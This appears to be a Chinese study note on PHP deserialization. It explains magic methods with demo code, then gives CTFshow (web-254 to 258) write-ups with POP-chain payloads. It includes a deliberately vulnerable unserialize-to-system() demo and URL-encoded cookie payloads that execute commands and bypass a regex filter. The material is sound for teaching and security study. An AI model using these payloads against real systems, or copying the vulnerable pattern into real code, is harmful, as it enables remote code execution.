第60天:漏洞利用-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

Snipaste_2022-04-12_21-43-26

第60天:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

简单理解序列化

1
2
3
4
5
6
7
序列化相当于一台电脑,将其拆分为机箱,电源,cpu,内存,这样的零件
反序列化,相当于将这些零件重新组装

序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将对象转换成一个字符串
unserialize() //将字符串还原成一个对象

常见魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__construct(): //当对象 new 的时候会自动调用

__destruct(): 当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

__call(): //调用某个方法 若方法存在 则调用 若不存在 则会去调用 __call 函数。

__callStatic(): 在静态上下文中调用不可访问的方法时触发

__get(): //读取对象属性时 若存在 则返回属性值 若不存在,则会调用 __get 函数

__set(): //设置对象的属性时 若属性存在 则赋值 若不存在 则调用 __set 函数。

__isset(): //在不可访问的属性上调用 isset() 或 empty() 触发

__unset(): //在不可访问的属性上使用 unset() 时触发

__set_state(): 调用 var_export() 导出类时,此静态方法会被调用

__clone(): 当对象复制完成时调用

__autoload(): 尝试加载未定义的类

__debugInfo(): 打印所需调试信息

第60天:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改3

第60天:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改4

1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
header("Content-type: text/html; charset=utf-8");


class user{
public $name='xiaodi';
public $sex='man';
public $age=31;
}

$demo=new user();

$s=serialize($demo);//序列化

$u=unserialize($s);//反序列化

echo $s.'<br>';
echo '<br/>';
echo '<br/>';
var_dump($u);

image-20250818075726832

2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
<?php
header("Content-type: text/html; charset=utf-8");


//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}

// 主动销毁
$test = new Test("xiaodi",31, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';

//程序结束自动销毁
//$test = new test("xiaodi",31, 'Test String');
//echo '第二种执行完毕'.'<br>';

//__sleep():serialize之前被调用,可以指定要序列化的对象属性。
//class Test{
// public $name;
// public $age;
// public $string;
//
// // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
// public function __construct($name, $age, $string){
// echo "__construct 初始化"."<br>";
// $this->name = $name;
// $this->age = $age;
// $this->string = $string;
// }
//
// // __sleep() :serialize之前被调用,可以指定要序列化的对象属性
// public function __sleep(){
// echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
// return array('name', 'age','string');
// }
//}
//
//$a = new Test("xiaodi",31, 'good teacher');
//echo serialize($a);


//__wakeup:反序列化恢复对象之前调用该方法
//class Test{
// public $sex;
// public $name;
// public $age;
//
// public function __construct($name, $age, $sex){
// echo "__construct被调用!<br>";
// }
//
// public function __wakeup(){
// echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
// }
//}
//
//$person = new Test('xiaodi',31,'男');
//$a = serialize($person);
//unserialize($a);


//__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
//class Test{
// // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
// public function __invoke($param1, $param2, $param3)
//{
// echo "这是一个对象<br>";
// var_dump($param1,$param2,$param3);
// }
//}
//
//$a = new Test();
////将对象当做函数调用 触发__invoke魔术方法
//$a('xiaodi',31,'男');


//__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
//class Test
//{
// public $variable = 'good is string';
//
// public function good(){
// echo $this->variable . '<br />';
// }
//
// // 在对象当做字符串的时候会被调用
// public function __toString(){
// return '__toString魔术方法被执行!';
// }
//}
//
//$a = new Test();
////$a->good();
////输出调用
//echo $a;


//__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
//class Test{
//
// public function good($number,$string){
// echo '存在good方法'.'<br>';
// echo $number.'---------'.$string.'<br>';
// }
//
// // 当调用类中不存在的方法时,就会调用__call();
// public function __call($method,$args){
// echo '不存在'.$method.'方法'.'<br>';
// var_dump($args);
// }
//}

//$a = new Test();
//$a->good(1,'xiaodisec');
// 不存在xiaodi方法 触发__call魔术方法
//$b = new Test();
//$b->xiaodi(899,'no');



//__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
//class Test {
// public $n=1233234;
//
// // __get():访问不存在的成员变量时调用
// public function __get($name){
// echo '__get 不存在成员变量'.$name.'<br>';
// }
//}
//
//$a = new Test();
//// 存在成员变量n,所以不调用__get
//echo $a->n;
//echo '<br>';
//// 不存在成员变量spaceman,所以调用__get
//echo $a->xiaodi;


//__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
//class Test{
// public $noway=0;
//
// // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
// /* __set($name, $value)
// * 用来为私有成员属性设置的值
// * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
// * */
//
// public function __set($name,$value){
// echo '__set 不存在成员变量 '.$name.'<br>';
// echo '即将设置的值 '.$value."<br>";
// $this->noway=$value;
// }
//
// public function Get(){
// echo $this->noway;
// }
//}
//
//$a = new Test();
//// 访问noway属性时调用,并设置值为899
//$a->noway = 123;
//// 经过__set方法的设置noway的值为899
//$a->Get();
//echo '<br>';
//// 设置对象不存在的属性xiaodi
//$a->xiaodi = 31;
//// 经过__set方法的设置noway的值为31
//$a->Get();



//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
//class Person{
// public $sex; //公共的
// private $name; //私有的
// private $age; //私有的
//
// public function __construct($name, $age, $sex){
// $this->name = $name;
// $this->age = $age;
// $this->sex = $sex;
// }
//
// // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
// public function __isset($content){
// //echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
// echo "123<br>";
// return isset($this->$content);
// }
//}
//
//$person = new Person("xiaodi", 31,'男');
//// public 成员
//echo ($person->sex),"<br>";
//echo isset($person->name),"<br>";
//echo empty($person->sex),"<br>";
// private 成员
//isset($person->name);
//empty($person->age);


//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
//class Person{
// public $sex;
// private $name;
// private $age;
//
// public function __construct($name, $age, $sex){
// $this->name = $name;
// $this->age = $age;
// $this->sex = $sex;
// }
//
// // __unset():销毁对象的某个属性时执行此函数
// public function __unset($content) {
// echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
// //echo isset($this->$content)."<br>";
// }
//}
//
//$person = new Person("xiaodi", 31,"男"); // 初始赋值
//unset($person->sex);//不调用 属性共有
//unset($person->name);//调用 属性私有 触发__unset
//unset($person->age);//调用 属性私有 触发__unset

?>

__construct && __destruct 魔术方法

1
2
constuct:构建对象的时候被调用
destruct:明确销毁对象或脚本结束的时候被调用

image-20250818080635896

触发的结果是:

image-20250818080647737

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
header("Content-type: text/html; charset=utf-8");


//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}

// 主动销毁
$test = new Test("xiaodi",31, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';

代码分析:显示创建一个Test的对象,然后传参了三个值,所以这里最开始就会输出:__construct 初始化,然后执行了unset($test);这里相当于销毁这个变量,所以就自动触发了:__destruct 类执行完毕,执行完这个之后就触发最后两个echo,当我把unset注释的时候,__destruct 类执行完毕就会在程序运行完毕之后在进行销毁,所以会是最后一个输出。

image-20250818081023642

image-20250818081032427

所以下面这个自动销毁也是同理:

image-20250818081103072

__sleep魔术方法

1
当使用serialize时被调用,当你不需要保存大对象的所有数据的时候很有用

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//__sleep():serialize之前被调用,可以指定要序列化的对象属性。
class Test{
public $name;
public $age;
public $string;

// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}

// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age','string');
}
}

$a = new Test("xiaodi",31, 'good teacher');
echo serialize($a);

?>

image-20250818081945039

这里也就是先创建一个对象,所以触发了construct魔术方法,然后下面进行序列化输出,所以就调用sleep方法,最后才是输出序列化的内容。

__wakeup魔术方法

__wakeup:反序列化恢复对象之前调用该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Test{
public $sex;
public $name;
public $age;

public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}

public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
}
}

$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);

image-20250818091424404

如果此时我只让他序列化,不进行反序列化。使他没有反序列化这个过程。

image-20250818091552607

就不会进行输出。

__INVOKE()魔术方法

__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。

1
2
3
4
5
6
7
8
9
10
11
12
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}

$a = new Test();
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi',31,'男');

image-20250818091939499

__toString()魔术方法

如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Test
{
public $variable = 'good is string';

public function good(){
echo $this->variable . '<br />';
}

// 在对象当做字符串的时候会被调用
public function __toString(){
return '__toString魔术方法被执行!';
}
}

$a = new Test();
$a->good();
//输出调用
echo $a;

因为这里最后将$a当做一个字符串进行echo,所以就会触发__toString

image-20250818092426157

__CALL 魔术方法

调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Test{

public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}

// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args);
}
}

$a = new Test();
$a->good(1,'xiaodisec');
//不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');

image-20250818092737345

这里还会将不存在的方法的值,用数组的方式进行输出。

__get()魔术方法

读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Test {
public $n=1233234;

// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->xiaodi;

image-20250818092958991

__set()魔术方法

设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Test{
public $noway=0;

// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
* */

public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}

public function Get(){
echo $this->noway;
}
}

$a = new Test();
// 访问noway属性时调用,并设置值为899
$a->noway = 123;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
// 经过__set方法的设置noway的值为31
$a->Get();

image-20250818093731977

__isset()魔术方法

检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Person{
public $sex; //公共的
private $name; //私有的
private $age; //私有的

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
//echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
echo "123<br>";
return isset($this->$content);
}
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
echo isset($person->name),"<br>";
echo empty($person->sex),"<br>";
//private 成员
//男,123,1
isset($person->name),"<br>";
empty($person->age),"<br>";
//输出123,123

image-20250818094957982

__unset()魔术方法

在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Person{
public $sex;
private $name;
private $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
//echo isset($this->$content)."<br>";
}
}

$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

image-20250818095954593

简易demo反序列化利用

1
2
3
4
5
6
7
8
9
<?php
class B{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

利用:pop链

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class B{
public $cmd='whoami'; //想执行任何命令,这里进行更改即可
public function __destruct(){
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
$b = new B();
echo serialize($b);
?>

image-20250818100307225

得到序列化的字符串,进行传参:

image-20250818100329628

CTF-show

没钱买,所以用视屏中的截图吧

web-254

image-20250818101320620

1
2
3
4
代码分析:首先是进行username和password的判断有没有输入值,第二个创建一个对象。然后login将会返回isVIP为true,最后就会调用flag。得到flag,所以只需要进行传参就可以得到flag

payload:
username=xxxxxx&password=xxxxxx

web-255

image-20250818102547235

这里在对cookie的user进行反序列化

image-20250818103359277

如上图,这里checkvip有在user里,所以这里要进行序列化构造pop

1
2
3
4
5
6
7
8
9
<?php
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

如果要改username和password,需要在序列化的时候进行修改:

image-20250818103526633

总结:需要更改的地方就填写,不改的就可以删除

web-256

image-20250818103736669

username和password不同就行。所以用上面的方式就行:

payload

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfShowUser{
public $username='xiaodi';
public $password='xiaodisec';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

GET:username=xiaodi&password=xiaodisec
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xiaodi%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22xiaodisec%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

由于传参是在cookie这里,所以要进行url编码。

web-257

image-20250818105008546

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';

}
echo urlencode(serialize(new ctfShowUser));
?>


GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

web-258

image-20250818104940853

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac flag.php');";
}

$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a); // 题目中正则匹配O:数字,这里在中间加个空格绕过正则匹配
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D